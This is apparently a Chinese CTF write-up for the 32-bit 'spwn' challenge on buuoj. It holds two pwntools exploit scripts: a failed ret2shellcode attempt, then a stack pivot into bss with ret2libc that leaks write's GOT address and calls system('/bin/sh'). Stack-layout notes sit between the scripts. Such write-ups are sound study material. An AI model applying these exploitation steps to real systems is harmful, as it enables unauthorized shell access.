1,三连
2,ida分析
思路:ret2shellcode
3,payload
from pwn import *
context(arch='x86', os='linux', log_level='debug')
p=process('./spwn')
shellcode = asm(shellcraft.sh())
p.recvuntil("What is your name?")
p.send(shellcode)
#gdb.attach(p)
payload=b'a'*0x1C+p32(0x0804A300)
p.recvuntil("say?")
p.send(payload)
#pause()
p.interactive
失败,bss段没有可执行权限,只有读写权限:
改变思路:由于此程序没有可直接ret利用的函数同时溢出空间很小,所以需要
栈迁移 + ret2libc
重点:
buf溢出栈空间只有0x20-0x18=8字节无法构造rop,所以需要利用栈迁移技术,迁移到bss上构造rop。
栈迁移关键指令:leave
leave 等价
mov rsp, rbp //rsp = rbp,改变栈顶(恢复rsp,去靠近rbp)
pop rbp //改变栈底(还原ebp)
栈迁移操作:构造好栈中ebp新位置。
4,栈布局
buf栈布局
低地址
---------
a*18
--------
&s - 4 //-4是因为leave = 》 后有个pop rbp导致rsp+4,此时新栈顶esp才会正好指向&s
--------
leave_ret - ret
------
高地址
查找leave_ret地址(也可用ROPgadget查找):
bss栈布局:(左边是第一泄露Libc构造栈帧,右边是第二次重写获取shell的栈帧)
&s - 4
----------------&s的位置
write_plt | system
---------------
main | deadbeef
----------------
1 | sh
-----------------
write_got
-----------------
4
5,payload
from pwn import *
from LibcSearcher import *
context(arch='x86', os='linux', log_level='debug')
p=process('./spwn')
#p=remote('node4.buuoj.cn',25623)
elf=ELF('./spwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x8048513
s=0x0804A300
leave_ret=0x08048408
payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("What is your name?")
p.send(payload)
payload1=b'a'*0x18+p32(s-4)+p32(leave_ret)
p.recvuntil("What do you want to say?")
p.send(payload1)
write_addr=u32(p.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')
p.recvuntil("name?")
payload=p32(system)+p32(0)+p32(sh)
p.sendline(payload)
p.recvuntil("say?")
p.sendline(payload1)
p.interactive()
细节详情参考:https://blog.csdn.net/mcmuyanga/article/details/109260008